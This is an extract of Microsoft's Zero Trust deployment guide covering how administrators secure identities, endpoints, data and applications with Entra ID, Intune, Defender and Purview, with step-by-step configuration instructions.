Follow these steps:
1. Enable Microsoft Defender for Identity with Microsoft Defender for Cloud Apps to
bring on-premises signals into the risk signal we know about the user.
2. Check the combined Investigation Priority score for each user at risk to give a
holistic view of which ones your SOC should focus on.
Enable Microsoft Defender for Endpoint
Microsoft Defender for Endpoint allows you to attest to the health of Windows
machines and determine whether they are undergoing a compromise. You can then feed
that information into mitigating risk at runtime. Whereas Domain Join gives you a sense
of control, Defender for Endpoint allows you to react to a malware attack at near real
time by detecting patterns where multiple user devices are hitting untrustworthy sites,
and to react by raising their device/user risk at runtime.
Take this step:
Configure Conditional Access in Microsoft Defender for Endpoint.
Securing Identity in accordance with Executive

Order 14028 on Cybersecurity & OMB
Memorandum 22-09
The Executive Order 14028 on Improving the Nations Cyber Security & OMB
Memorandum 22-09 includes specific actions on Zero Trust. Identity actions include
employing centralized identity management systems, use of strong phishing-resistant
MFA, and incorporating at least one device-level signal in authorization decision(s). For
detailed guidance on implemening these actions with Microsoft Entra ID see Meet
identity requirements of memorandum 22-09 with Microsoft Entra ID.
Products covered in this guide

Microsoft Azure
Microsoft Entra ID
Microsoft Defender for Identity
Microsoft 365
Microsoft Endpoint Manager (includes Microsoft Intune)
Microsoft Defender for Endpoint
SharePoint Online
Exchange Online
Conclusion
Identity is central to a successful Zero Trust strategy. For further information or help with
implementation, please contact your Customer Success team or continue to read
through the other chapters of this guide, which span all Zero Trust pillars.
The Zero Trust deployment guide series

Feedback
Secure endpoints with Zero Trust
Article • 04/12/2024
Background
The modern enterprise has an incredible diversity of endpoints accessing data. Not all
endpoints are managed or even owned by the organization, leading to different device
configurations and software patch levels. This creates a massive attack surface and, if left
unresolved, accessing work data from untrusted endpoints can easily become the
weakest link in your Zero Trust security strategy.
Zero Trust adheres to the principle, "Never trust, always verify." In terms of endpoints,
that means always verify all endpoints. That includes not only contractor, partner, and
guest devices, but also apps and devices used by employees to access work data,
regardless of device ownership.
In a Zero Trust approach, the same security policies are applied regardless of whether
the device is corporate-owned or personally-owned through bring your own device
(BYOD); whether the device is fully managed by IT, or only the apps and data are
secured. The policies apply to all endpoints, whether PC, Mac, smartphone, tablet,
wearable, or IoT device wherever they are connected, be it the secure corporate
network , home broadband, or public internet.
Most importantly, the health and trustworthiness of apps that run on those endpoints
impacts your security posture. You need to prevent corporate data from leaking to
untrusted or unknown apps or services, either accidentally or through malicious intent.
There are a few key rules for securing devices and endpoints in a Zero Trust model:
Zero Trust security policies are centrally enforced through the cloud and cover
endpoint security, device configuration, app protection, device compliance, and
risk posture.
The platform as well as the apps that run on the devices are securely provisioned,
properly configured, and kept up to date.
There is automated and prompt response to contain access to corporate data

within the apps in case of a security compromise.
The access control system ensures that all policy controls are in effect before the
data is accessed.
Endpoint Zero Trust deployment objectives
Before most organizations start the Zero Trust journey, their endpoint security is
set up as follows:
Endpoints are domain-joined and managed with solutions like Group Policy
Objects or Configuration Manager. These are great options, but they don't
leverage modern Windows 10 CSPs or require a separate cloud management
gateway appliance to service cloud-based devices.
Endpoints are required to be on a corporate network to access data. This

could mean that the devices are required to physically be on-site to access
the corporate network, or that they require VPN access, which increases the
risk that a compromised device could access sensitive corporate resources.
ﾉ Expand table
When implementing an end-to-end Zero Trust framework for securing endpoints, we recommend
you focus first on these initial deployment objectives:
I. Endpoints are registered with cloud identity providers. In order to monitor security and risk
across multiple endpoints used by any one person, you need visibility in all devices and
access points that may be accessing your resources.
II. Access is only granted to cloud-managed and compliant endpoints and apps. Set
compliance rules to ensure that devices meet minimum security requirements before access is
granted. Also, set remediation rules for noncompliant devices so that people know how to
resolve the issue.
III. Data loss prevention (DLP) policies are enforced for corporate devices and BYOD. Control
what the user can do with the data after they have access. For instance, restrict file saving to
untrusted locations (such as local disk), or restrict copy-and-paste sharing with a consumer
communication app or chat app to protect data.
IV. Endpoint threat detection is used to monitor device risk. Use a single pane of glass to
manage all endpoints in a consistent way, and use a SIEM to route endpoint logs and
transactions such that you get fewer, but actionable, alerts.
V. Access control is gated on endpoint risk for both corporate devices and BYOD. Integrate
data from Microsoft Defender for Endpoint, or other Mobile Threat Defense (MTD) vendors,
as an information source for device compliance policies and device Conditional Access rules.
The device risk will then directly influence what resources will be accessible by the user of that
device.
Endpoint Zero Trust deployment guide

This guide will walk you through the steps required to secure your devices following the
principles of a Zero Trust security framework.
ﾉ Expand table
I. Endpoints are registered with a cloud identity providers

To help limit risk exposure, you need to monitor every endpoint to ensure each one has
a trusted identity, security policies are applied, and the risk level for things like malware
or data exfiltration has been measured, remediated, or deemed acceptable.
After a device is registered, users can access your organization's restricted resources
using their corporate username and password to sign in (or Windows Hello for
Business).
Register corporate devices with Microsoft Entra ID
Follow these steps:
New Windows 10 devices
1. Start up your new device and begin the OOBE (out-of-box-experience) process.
2. On the Sign in with Microsoft screen, type your work or school email address.
3. On the Enter your password screen, type your password.
4. On your mobile device, approve your device so it can access your account.
5. Complete the OOBE process, including setting your privacy settings and setting up
Windows Hello (if necessary).
6. Your device is now joined to your organization's network.
Existing Windows 10 devices
1. Open Settings, and then select Accounts.
2. Select Access work or school, and then select Connect.
3. On the Set up a work or school account screen, select Join this device to
Microsoft Entra ID.
4. On the Let's get you signed in screen, type your email address (for example,
alain@contoso.com), and then select Next.
5. On the Enter password screen, type your password, and then select Sign in.
6. On your mobile device, approve your device so it can access your account.
7. On the Make sure this is your organization screen, review the information to make
sure it's right, and then select Join.
8. On the You're all set screen, click Done.
Register personal Windows devices with Microsoft Entra ID

Follow these steps:
1. Open Settings, and then select Accounts.
2. Select Access work or school, and then select Connect from the Access work or
school screen.
3. On the Add a work or school account screen, type in your email address for your
work or school account, and then select Next. For example, alain@contoso.com.
4. Sign in to your work or school account, and then select Sign in.
5. Complete the rest of the registration process, including approving your identity
verification request (if you use two-step verification) and setting up Windows Hello
(if necessary).
Enable and configure Windows Hello for Business

To allow users an alternative sign-in method that replaces a password, such as PIN,
biometric authentication, or fingerprint reader, enable Windows Hello for Business on
users' Windows 10 devices.
The following Microsoft Intune and Microsoft Entra actions are completed in the
Microsoft Endpoint Manager admin center :
Start by creating a Windows Hello for Business enrollment policy in Microsoft Intune.
1. Go to Devices > Enrollment > Enroll devices > Windows enrollment > Windows
Hello for Business.
2. Select from the following options for Configure Windows Hello for Business:
a. Disabled. If you don't want to use Windows Hello for Business, select this
setting. If disabled, users can't provision Windows Hello for Business except on
Microsoft Entra joined mobile phones where provisioning may be required.
b. Enabled. Select this setting if you want to configure Windows Hello for Business
settings. When you select Enabled, additional settings for Windows Hello
become visible.
c. Not configured. Select this setting if you don't want to use Intune to control
Windows Hello for Business settings. Any existing Windows Hello for Business
settings on Windows 10 devices isn't changed. All other settings on the pane
are unavailable.
If you selected Enabled, configure the required settings that are applied to all enrolled
Windows 10 devices and Windows 10 mobile devices.
1. Use a Trusted Platform Module (TPM). A TPM chip provides an additional layer of
data security. Choose one of the following values:
a. Required. Only devices with an accessible TPM can provision Windows Hello for
Business.
b. Preferred. Devices first attempt to use a TPM. If this option isn't available, they
can use software encryption.
2. Set a minimum PIN length and Maximum PIN length. This configures devices to
use the minimum and maximum PIN lengths that you specify to help ensure secure
sign-in. The default PIN length is six characters, but you can enforce a minimum
length of four characters. The maximum PIN length is 127 characters.
3. Set a PIN expiration (days). It's good practice to specify an expiration period for a
PIN, after which users must change it. The default is 41 days.
4. Remember PIN history. Restricts the reuse of previously used PINs. By default, the
last 5 PINs can't be reused.
5. Use enhanced anti-spoofing, when available. This configures when the anti-
spoofing features of Windows Hello are used on devices that support it. For
example, detecting a photograph of a face instead of a real face.
6. Allow phone sign-in. If this option is set to Yes, users can use a remote passport to
serve as a portable companion device for desktop computer authentication. The
desktop computer must be Microsoft Entra joined, and the companion device
must be configured with a Windows Hello for Business PIN.
After you configure these settings, select Save.
After configuring the settings that apply to all enrolled Windows 10 devices and
Windows 10 mobile devices, set up Windows Hello for Business Identity Protection
profiles to customize Windows Hello for Business security settings for specific end user
devices.
1. Select Devices > Configuration profiles > Create profile > Windows 10 and Later
> Identity Protection.
2. Configure Windows Hello for Business. Choose how you want to configure
Windows Hello for Business.
a. Minimum PIN length.
b. Lowercase letters in PIN.
c. Uppercase letters in PIN.
d. Special characters in PIN.
e. PIN Expiration (days).
f. Remember PIN history.
g. Enable PIN recovery. Allows user to use the Windows Hello for Business PIN
recovery service.
h. Use a Trusted Platform Module (TPM). A TPM chip provides an additional layer
of data security.
i. Allow biometric authentication. Enables biometric authentication, such as facial
recognition or fingerprint, as an alternative to a PIN for Windows Hello for
Business. Users must still configure a PIN in case biometric authentication fails.
j. Use enhanced anti-spoofing, when available. Configures when the anti-spoofing

features of Windows Hello are used on devices that support it (for example,
detecting a photograph of a face instead of a real face).
k. Use security keys for sign-in. This setting is available for devices that run
Windows 10 version 1903 or later. Use it to manage support for using Windows
Hello security keys for sign-in.
Finally, you can create additional device restriction policies to further lock down
corporate-owned devices.
 Tip
Learn about implementing an end-to-end identity Zero strategy .
II. Access is only granted to cloud-managed and

compliant endpoints and apps
Once you have identities for all the endpoints accessing corporate resources and before
access is granted, you want to ensure that they meet the minimum security
requirements set by your organization.
After establishing compliance policies to gate access of corporate resources to trusted

endpoints and mobile and desktop applications , all users can access organizational
data on mobile devices and a minimum or maximum operating system version is
installed on all devices. Devices are not jail-broken or rooted.
Also, set remediation rules for noncompliant devices, such as blocking a noncompliant
device or offering the user a grace period to get compliant.
Create a compliance policy with Microsoft Intune (all platforms)

Follow these steps to create a compliance policy:
1. Select Devices > Compliance policies > Policies > Create Policy.
2. Select a Platform for this policy (Windows 10 used for example below).
3. Select the desired Device Health configuration.
4. Configure minimum or maximum Device Properties.
5. Configure Configuration Manager Compliance. This requires all compliance

evaluations in Configuration Manager to be compliant and is only applicable for
comanaged Windows 10 devices. All Intune-only devices will return N/A.
6. Configure System Security Settings.

7. Configure Microsoft Defender Antimalware.
8. Configure the required Microsoft Defender for Endpoint machine risk score.
9. On the Actions for noncompliance tab, specify a sequence of actions to apply
automatically to devices that do not meet this compliance policy.
Automate notification email and add additional remediation

actions for noncompliant devices in Intune (all platforms)
When their endpoints or apps become non-compliant, users are guided through self-
remediation. Alerts are automatically generated with additional alarms and automated
actions set for certain thresholds. You can set non-compliance remediation actions.
Take these steps:
1. Select Devices > Compliance policies > Notifications > Create notification.
2. Create a notification message template.

3. Select Devices > Compliance policies > Policies, select one of your policies, and
then select Properties.
4. Select Actions for noncompliance > Add.
5. Add actions for noncompliance:
a. Set up an automated email to users with noncompliant devices.
b. Set up an action to remotely lock noncompliant devices.
c. Set up an action to automatically retire a noncompliant device after a set

number of days.
III. Data loss prevention (DLP) policies are enforced for

corporate devices and BYOD
Once data access is granted, you want to control what the user can do with the data. For
example, if a user accesses a document with a corporate identity, you want to prevent
that document from being saved in an unprotected consumer storage location, or from
being shared with a consumer communication or chat app.
Apply recommended security settings

First, apply security settings recommended by Microsoft to Windows 10 devices to
protect corporate data (Requires Windows 10 1809 and later):
Use Intune security baselines to help you secure and protect your users and devices.
Security baselines are preconfigured groups of Windows settings that help you apply a
known group of settings and default values that are recommended by the relevant
security teams.
Follow these steps:
1. Select Endpoint security > Security baselines to view the list of available baselines.
2. Select the baseline you'd like to use, and then select Create profile.
3. On the Configuration settings tab, view the groups of Settings that are available in
the baseline you selected. You can expand a group to view the settings in that
group and the default values for those settings in the baseline. To find specific
settings:
a. Select a group to expand and review the available settings.
b. Use the Search bar and specify keywords that filter the view to display only
those groups that contain your search criteria.
c. Reconfigure the default settings to meet your business needs.
4. On the Assignments tab, select groups to include and then assign the baseline to
one or more groups. To fine-tune the assignment, use Select groups to exclude.
Ensure updates are deployed automatically to endpoints
Configure Windows 10 devices
Configure Windows Updates for Business to simplify the update management

experience for users and ensure that devices are automatically updated to meet the
required compliance level.
Follow these steps:
1. Manage Windows 10 software updates in Intune by creating update rings and

enabling a collection of settings that configure when Windows 10 updates will be
installed.
a. Select Devices > Windows > Windows 10 Update Rings > Create.
b. Under Update ring settings, configure settings for your business needs.
c. Under Assignments, choose + Select groups to include, and then assign the
update ring to one or more groups. To fine-tune the assignment, use + Select
groups to exclude.
2. Manage Windows 10 feature updates in Intune to bring devices to the Windows
version you specify (i.e., 1803 or 1809) and freeze the feature set on those devices
until you choose to update them to a later Windows version.
a. Select Devices > Windows > Windows 10 Feature updates > Create.
b. Under Basics, specify a name, a description (optional), and, for Feature update
to deploy, select the version of Windows with the feature set you want, and
then select Next.
c. Under Assignments, choose and select groups to include and then assign the
feature update deployment to one or more groups.
Configure iOS devices
For corporate-enrolled devices, configure iOS updates to simplify the update

management experience for users and ensure that devices are automatically updated to
meet the required compliance level. Configure iOS update policy.
Follow these steps:
1. Select Devices > Update policies for iOS/iPadOS > Create profile.
2. On the Basics tab, specify a name for this policy, specify a description (optional),
and then select Next.
3. On the Update policy settings tab, configure the following:
a. Select version to install. You can choose from:
i. Latest update: This deploys the most recently released update for
iOS/iPadOS.
ii. Any previous version that is available in the dropdown box. If you select a
previous version, you must also deploy a device configuration policy to delay
visibility of software updates.
b. Schedule type: Configure the schedule for this policy:
i. Update at next check-in. The update installs on the device the next time it
checks in with Intune. This is the simplest option and has no additional
configurations.
ii. Update during scheduled time. You configure one or more windows of time
during which the update will install upon check-in.
iii. Update outside of scheduled time. You configure one or more windows of
time during which the updates won't install upon check-in.
c. Weekly schedule: If you choose a schedule type other than update at next
check-in, configure the following options:
4. Choose a time zone.
5. Define a time window. Define one or more blocks of time that restrict when the
updates install. Options include start day, start time, end day, and end time. By
using a start day and end day, overnight blocks are supported. If you do not
configure times to start or end, the configuration results in no restriction and
updates can install at any time.
Ensure devices are encrypted
Configure Bitlocker to encrypt Windows 10 devices
1. Select Devices > Configuration profiles > Create profile.
2. Set the following options:
a. Platform: Windows 10 and later
b. Profile type: Endpoint protection

3. Select Settings > Windows Encryption.
4. Configure settings for BitLocker to meet your business needs, and then select OK.
Configure FileVault encryption on macOS devices
1. Select Devices > Configuration profiles > Create profile.
2. Set the following options:
a. Platform: macOS.
b. Profile type: Endpoint protection.
3. Select Settings > FileVault.

4. For FileVault, select Enable.
5. For Recovery key type, only Personal key is supported.
6. Configure the remaining FileVault settings to meet your business needs, and then
select OK.
Create application protection policies to protect corporate data at

the app-level
To ensure your data remains safe or contained in a managed app, create app protection
policies (APP). A policy can be a rule that is enforced when the user attempts to access
or move "corporate" data, or a set of actions that are prohibited or monitored when the
user is inside the app.
The APP data protection framework is organized into three distinct configuration levels,
with each level building off the previous level:
Enterprise basic data protection (Level 1) ensures that apps are protected with a
PIN and encrypted, and performs selective wipe operations. For Android devices,
this level validates Android device attestation. This is an entry-level configuration
that provides similar data protection control in Exchange Online mailbox policies
and introduces IT and the user population to APP.
Enterprise enhanced data protection (Level 2) introduces APP data leakage
prevention mechanisms and minimum OS requirements. This is the configuration
that is applicable to most mobile users accessing work or school data.
Enterprise high data protection (Level 3) introduces advanced data protection

mechanisms, enhanced PIN configuration, and APP Mobile Threat Defense. This
configuration is desirable for users that are accessing high-risk data.
Follow these steps:
1. In Intune portal, choose Apps > App protection policies. This selection opens the
App protection policies details, where you create new policies and edit existing
policies.
2. Select Create policy and select either iOS/iPadOS or Android. The Create policy
pane is displayed.
3. Choose the apps that you would like to apply the App Protection Policy to.
4. Configure Data Protection Settings:
a. iOS/iPadOS data protection. For information, see iOS/iPadOS app protection

policy settings - Data protection.
b. Android data protection. For information, see Android app protection policy
settings - Data protection.
5. Configure Access Requirement Settings:
a. iOS/iPadOS access requirements. For information, see iOS/iPadOS app

protection policy settings - Access requirements.
b. Android access requirements. For information, see Android app protection

policy settings - Access requirements.
6. Configure Conditional Launch Settings:
a. iOS/iPadOS conditional launch. For information, see iOS/iPadOS app protection

policy settings - Conditional launch.
b. Android conditional launch. For information, see Android app protection policy
settings - Conditional launch.
7. Click Next to display the Assignments page.
8. When you are done, click Create to create the app protection policy in Intune.
 Tip
Learn about implementing an end-to-end Zero Trust strategy for data .
ﾉ Expand table
IV. Endpoint threat detection is used to monitor device

risk
Once you've accomplished your first three objectives, the next step is to configure
endpoint security so that advanced protection is provisioned, activated, and monitored.
A single pane of glass is used to consistently manage all endpoints together.
Route endpoint logs and transactions to a SIEM or Power BI
Using the Intune Data warehouse, send device and app management data to reporting
or SIEM tools for intelligent filtering of alerts to reduce noise.
Follow these steps:
1. Select Reports > Intune Data warehouse > Data warehouse.
2. Copy the custom feed URL. For example:

https://fef.tenant.manage.microsoft.com/ReportingService/DataWarehouseFEServic
e?api-version=v1.0
3. Open Power BI Desktop or your SIEM solution.
From your SIEM solution

Choose the option to import or get data from an Odata feed.
From PowerBI
1. From the menu, select File > Get Data > OData feed.
2. Paste the custom feed URL that you copied from the earlier step into the URL box
in the OData feed window.
3. Select Basic.
4. Select OK.
5. Select Organization account, and then sign in with your Intune credentials.
6. Select Connect. The Navigator will open and show you the list of tables in the
Intune Data Warehouse.
7. Select the devices and the ownerTypes tables. Select Load. Power BI loads data to
the model.
8. Create a relationship. You can import multiple tables to analyze not just the data in
a single table, but related data across tables. Power BI has a feature called
autodetect that attempts to find and create relationships for you. The tables in the
Data Warehouse have been built to work with the autodetect feature in Power BI.
However, even if Power BI doesn't automatically find the relationships, you can still
manage the relationships.
9. Select Manage Relationships.
10. Select Autodetect if Power BI has not already detected the relationships.
11. Learn advanced ways to set up PowerBI visualizations.
V. Access control is gated on endpoint risk for both

corporate devices and BYOD
Corporate devices are enrolled with a cloud enrollment service
such as DEP, Android Enterprise, or Windows AutoPilot
Building and maintaining customized operating system images is a time-consuming

process, and may include spending time applying custom operating system images to
new devices to prepare them for use.
With Microsoft Intune cloud enrollment services, you can give new devices to your
users without the need to build, maintain, and apply custom operating system
images to the devices.
Windows Autopilot is a collection of technologies used to set up and preconfigure

new devices, getting them ready for productive use. You can also use Windows
Autopilot to reset, repurpose, and recover devices.
Configure Windows Autopilot to automate Microsoft Entra join and enroll new
corporate-owned devices into Intune.
Configure Apple DEP to automatically enroll iOS and iPadOS devices.

Microsoft Azure
Microsoft Entra ID
Microsoft 365
Microsoft Endpoint Manager (includes Microsoft Intune and Configuration Manager)
BitLocker
Zero Trust and your OT networks

Microsoft Defender for IoT is a unified security solution built specifically to identify
devices, vulnerabilities, and threats across IoT and operational technology (OT)
networks. Use Defender for IoT to apply security across your entire IoT/OT environment,
including existing devices that may not have built-in security agents.
OT networks often differ from traditional IT infrastructure, and need a specialized

approach to zero trust. OT systems use unique technology with proprietary protocols,
and may have aging platforms with limited connectivity and power, or specific safety
requirements and unique exposures to physical attacks.
Defender for IoT supports zero trust principles by addressing OT-specific challenges,
such as:
Helping you control remote connections into your OT systems

Reviewing and helping you reduce interconnections between dependent systems
Finding single points of failure in your network
Deploy Defender for IoT network sensors to detect devices and traffic and watch for OT-
specific vulnerabilities. Segment your sensors into sites and zones across your network
to monitor traffic between zones, and follow Defender for IoT's risk-based mitigation
steps to lower risk across your OT environment. Defender for IoT then continuously
monitors your devices for anomalous or unauthorized behavior.
Integrate with Microsoft services, such as Microsoft Sentinel and other partner services,
including both SIEM and ticketing systems, to share Defender for IoT data across your
organization.
For more information, see:

Monitor your OT networks with Zero Trust principles
Investigate Defender for IoT incidents with Microsoft Sentinel
Conclusion
A Zero Trust approach can significantly strengthen the security posture of your devices
and endpoints. For further information or help with implementation, please contact your
Customer Success team, or continue to read through the other chapters of this guide
that spans all Zero Trust pillars.
Feedback
Secure data with Zero Trust
Article • 04/30/2024
Background
Zero Trust is a security strategy used to design security principles for your organization.
Zero Trust helps secure corporate resources by implementing the following security
principles:
Verify explicitly. Always authenticate and authorize based on all available data
points, including user identity, location, device health, service or workload, data
classification, and anomalies.
Use least privilege access. Limit user access with just-in-time (JIT) and just-
enough-access (JEA), risk-based adaptive policies, and data protection to help
secure both data and productivity.
Assume breach. Minimize the blast radius and segment access. Verify end-to-end
encryption and use analytics to get visibility, drive threat detection, and improve
defenses.
Microsoft Purview proposes five core elements for a data defense in depth strategy and
a Zero Trust implementation for data:
1. Data classification and labeling

If you don't know what sensitive data you have on-premises and in cloud services,
you can't adequately protect it. Discover and detect data across your entire
organization and classify it by sensitivity level.
2. Information Protection
Conditional and least privilege access to sensitive data reduce data security risks.
Apply sensitivity-based access control guardrails, rights management and
encryption where environmental controls are insufficient. Use information
sensitivity markings to increase awareness and security policy compliance.
3. Data Loss Prevention

Access control resolves only part of the problem. Checking and controlling risky
data activities and movements which may result in a data security or compliance
incident allows organizations to prevent oversharing of sensitive data.
4. Insider Risk Management
Data access may not always provide the whole story. Minimize risks to data by
enabling behavioral detection from a broad array of signals, and acting on
potentially malicious and inadvertent activities in your organization that could be
precursors to or an indication of a data breach.
5. Data Governance
Proactively managing the lifecycle of sensitive data reduces its exposure. Limit the
number of copies or propagation of sensitive data and delete data that is no
longer needed to minimize data breach risks.
Data Zero Trust deployment objectives

ﾉ Expand table
We recommend you focus on these initial deployment objectives when implementing an end-to-
end Zero Trust framework for data:
I. Classify and label data. Automatically classify and label data where possible. Apply
manually where it is not.
II. Apply encryption, access control, and content markings. Apply encryption where
protection and access control are insufficient.
III. Control access to data. Control access to sensitive data so they're better protected.
As you make progress achieving the above objectives, add these additional deployment
objectives:
IV. Prevent data leakage. Use DLP policies that are driven by risky signals and data
sensitivity.
V. Manage risks. Manage risks that may lead to a data security incident by checking risky
security related user activities and data activity patterns that may result in a data security or
compliance incident.
VI. Reduce data exposure. Reduce data exposure through data governance and continual
data minimization
Zero Trust deployment guide for data

This guide will walk you step-by-step through a Zero Trust approach to data protection.
Please keep in mind that these items will vary widely depending on the sensitivity of
your information and the size and complexity of your organization.
As a precursor to any data security implementation, Microsoft recommends that you
create a data classification framework and sensitivity label taxonomy that defines high
level categories of data security risk. That taxonomy will be used to simplify everything
from data inventory or activity insights, to policy management to investigation
prioritization.
Create a well-designed data classification framework
ﾉ Expand table
I. Classify, label and discover sensitive data

An information protection strategy needs to encompass your organization's entire
digital content.
Classifications and sensitivity labels let you understand where your sensitive data is
located, how it moves, and implement appropriate access and usage controls consistent
with zero trust principles:
Use automated classification and labeling to detect sensitive information and scale
discovery across your data estate.
Use manual labeling for documents and containers, and manually curate data sets
used in analytics where classification and sensitivity is best established by
knowledgeable users.
Follow these steps:
Learn about sensitive information types
Learn about trainable classifiers
Learn about sensitivity labels

Once you have configured and tested classification and labeling, scale up data discovery
across your data estate.
Follow these steps to extend discovery beyond Microsoft 365 services:
Get started with the Microsoft Purview on-premises scanner
Discover and protect sensitive information in SaaS applications
Learn about scans and ingestion in the Microsoft Purview governance portal
As you discover, classify and label your data, use those insights to remediate risk and
inform your policy management initiatives.
Follow these steps:
Get started with Content Explorer
Review labeling activity with Activity Explorer
Learn about Data Insights
II. Apply encryption, access control and content markings

Simplify your least privilege implementation by using sensitivity labels to protect your
most sensitive data with encryption and access control. Use content markings to
enhance user awareness and traceability.
Protect document and emails

Microsoft Purview Information Protection enables access and usage control based on
sensitivity labels or user defined permissions for documents and emails. It can also
optionally apply markings and encrypt information that resides in or flows out to lesser
trust environments internal or external to your organization. It provides protection at
rest, in motion, and in use for enlightened applications.
Follow these steps:
Review encryption options in Microsoft 365

Restrict access to content and usage by using sensitivity labels
Protect documents in Exchange, SharePoint, and OneDrive

For data stored in Exchange, SharePoint, and OneDrive, automatic classification with
sensitivity labels can be deployed via policies to targeted locations to restrict access and
manage encryption on authorized egress.
Take this step:
Configure auto-labeling policies for SharePoint, OneDrive, and Exchange.
III. Control access to data

Providing access to sensitive data must be controlled so that they are better protected.
Ensure that access and usage policy decisions are inclusive of data sensitivity.
Control data access and sharing in Teams, Microsoft 365 Groups

and SharePoint sites
Use container sensitivity labels to implement conditional access and sharing restrictions
to Microsoft Teams, Microsoft 365 Groups or SharePoint sites.
Take this step:
Use sensitivity labels with Microsoft Teams, Microsoft 365 Groups, and SharePoint
sites
Control access to data in SaaS applications

Microsoft Defender for Cloud Apps provides additional capabilities for conditional
access and to manage sensitive files in Microsoft 365 and third-party environments such
as Box or Google Workspace, including:
Removing permissions to address excessive privilege and prevent data leakage.
Quarantining files for review.
Applying labels to sensitive files.
Follow these steps:
Integrate Microsoft Purview Information Protection
 Tip
Check out Integrate SaaS apps for Zero Trust with Microsoft 365 to learn how to
apply Zero Trust principles to help manage your digital estate of cloud apps.
Control access to in IaaS/PaaS storage
Deploy mandatory access control policies to IaaS/PaaS resources that contain sensitive
data.
Take this step:
Learn about Microsoft Purview DevOps policies
IV. Prevent data leakage

Controlling access to data is necessary but insufficient in exerting control over data
movement and in preventing inadvertent or unauthorized data leakage or loss. That is
the role of data loss prevention and insider risk management, which is described in
section IV.
Use Microsoft Purview DLP policies to identify, check, and automatically protect sensitive
data across:
Microsoft 365 services such as Teams, Exchange, SharePoint, and OneDrive
Office applications such as Word, Excel, and PowerPoint
Windows 10, Windows 11 and macOS (three latest released versions) endpoints
on-premises file shares and on-premises SharePoint
non-Microsoft cloud apps.
Follow these steps:
Plan for data loss prevention
Create, test, and tune DLP policies
Learn about the data loss prevention Alerts dashboard
Review data activity with Activity Explorer
V. Manage insider risks

Least privilege implementations help minimize known risks, but it is also important to
correlate additional security related user behavioral signals, check sensitive data access
patterns, and to broad detection, investigation and hunting capabilities.
Take these steps:
Learn about Insider Risk Management
Investigate insider risk management activities
VI. Delete unnecessary sensitive information

Organizations can reduce their data exposure by managing the lifecycle of their
sensitive data.
Remove all privileges where you can by deleting the sensitive data itself when it is no
longer valuable or permissible for your organization.
Take this step:
Implement Data Lifecycle Management and Records Management
Minimize duplication of sensitive data by favoring in-place sharing and use rather than
data transfers.
Take this step:
Learn about in-place data sharing with Microsoft Purview

Microsoft Purview
Microsoft Defender for Cloud Apps
For further information or help with implementation, please contact your Customer
Success team.

Feedback
Secure applications with Zero Trust
Article • 04/30/2024
Background
To get the full benefit of cloud apps and services, organizations must find the right
balance of providing access while maintaining control to protect critical data accessed
via applications and APIs.
The Zero Trust model helps organizations ensure that apps, and the data they contain,
are protected by:
Applying controls and technologies to discover Shadow IT.

Ensuring appropriate in-app permissions.
Limiting access based on real-time analytics.
Monitoring for abnormal behavior.
Controlling user actions.
Validating secure configuration options.
Applications Zero Trust deployment objectives
Before most organizations start the Zero Trust journey, their on-premises apps are
accessed through physical networks or VPN, and some critical cloud apps are
accessible to users.
ﾉ Expand table
When implementing a Zero Trust approach to managing and monitoring applications, we

recommend you focus first on these initial deployment objectives:
I. Gain visibility into the activities and data in your applications by connecting them via
APIs.
II. Discover and control the use of shadow IT.
III. Protect sensitive information and activities automatically by implementing policies.

IV. Deploy adaptive access and session controls for all apps.
V. Strengthen protection against cyber threats and rogue apps.
VI. Assess the security posture of your cloud environments
Application Zero Trust deployment guide

This guide will walk you through the steps required to secure applications and APIs
following the principles of a Zero Trust security framework. Our approach is aligned with
these three Zero Trust principles:
1. Verify explicitly. Always authenticate and authorize based on all available data
2. Use least privilege access. Limit user access with Just-In-Time and Just-Enough-
Access (JIT/JEA), risk-based adaptive polices and data protection to protect both
data and productivity.
3. Assume breach. Minimize blast radius for breaches and prevent lateral movement
by segmenting access by network, user, devices, and application awareness. Verify
all sessions are encrypted end to end. Use analytics to get visibility , drive threat
detection, and improve defenses.
ﾉ Expand table
I. Gain visibility into the activities and data in your

applications by connecting them via APIs
The majority of user activities in an organization originate on cloud applications and
associated resources. Most major cloud apps provide an API for consuming tenant
information and receiving corresponding governance actions. Use these integrations to
monitor and alert when threats and anomalies occur in your environment.
Follow these steps:
1. Adopt Microsoft Defender for Cloud Apps , which works with services to optimize
visibility, governance actions, and usage.
2. Review what apps can be connected with the Defender for Cloud Apps API
integration, and connect the apps you need. Use the deeper visibility gained to
investigate activities, files, and accounts for the apps in your cloud environment.
 Tip
Learn about implementing an end-to-end identity Zero Trust strategy .
II. Discover and control the use of shadow IT

On average, 1,000 separate apps are being used in your organization. 80 percent of
employees use non-sanctioned apps that no one has reviewed and that may not be
compliant with your security and compliance policies. And, because your employees are
able to access your resources and apps from outside your corporate network, it's no
longer enough to have rules and policies on your firewalls.
Focus on identifying app usage patterns, assessing risk levels and business readiness of
apps, preventing data leaks to noncompliant apps, and limiting access to regulated data.
 Tip
Follow these steps:
1. Set up Cloud Discovery, which analyzes your traffic logs against the Microsoft
Defender for Cloud Apps catalog of over 16,000 cloud apps. The apps are ranked
and scored, based on more than 90 risk factors.
2. Discover and identify shadow IT to find out what apps are being used, following
one of three options:
a. Integrate with Microsoft Defender for Endpoint to immediately start collecting

data on cloud traffic across your Windows 10 devices, on and off your network.
b. Deploy the Defender for Cloud Apps log collector on your firewalls and other
proxies to collect data from your endpoints and send it to Defender for Cloud
Apps for analysis.
c. Integrate Defender for Cloud Apps with your proxy.
3. Identify the risk level of specific apps:
a. In the Defender for Cloud Apps portal, under Discover, click Discovered apps.
Filter the list of apps discovered in your organization by the risk factors you are
concerned about.
b. Drill down into the app to understand more about its compliance by clicking the
app name and then clicking the Info tab to see details about the app's security
risk factors.
4. Evaluate compliance and analyze usage:
a. In the Defender for Cloud Apps portal, under Discover, click Discovered apps.
Filter the list of apps discovered in your organization by the compliance risk
factors you are concerned about. For example, use the suggested query to filter
out noncompliant apps.
b. Drill down into the app to understand more about its compliance by clicking the
app name and then clicking the Info tab to see details about the app's
compliance risk factors.
c. In the Defender for Cloud Apps portal, under Discover, click Discovered apps
and then drill down by clicking on the specific app you want to investigate. The
Use tab lets you know how many active users are using the app and how much
traffic it's generating. If you want to see who, specifically, is using the app, you
can drill down further by clicking Total active users.
d. Dive deeper into discovered apps. View subdomains and resources to learn
about specific activities, data access, and resource usage in your cloud services.
5. Manage your apps:
a. Create new custom app tags in order to classify each app according to its
business status or justification. These tags can then be used for specific
monitoring purposes.
b. App tags can be managed under Cloud Discovery settings App tags. These tags
can then be used later for filtering in the Cloud Discovery pages and creating
policies using them.
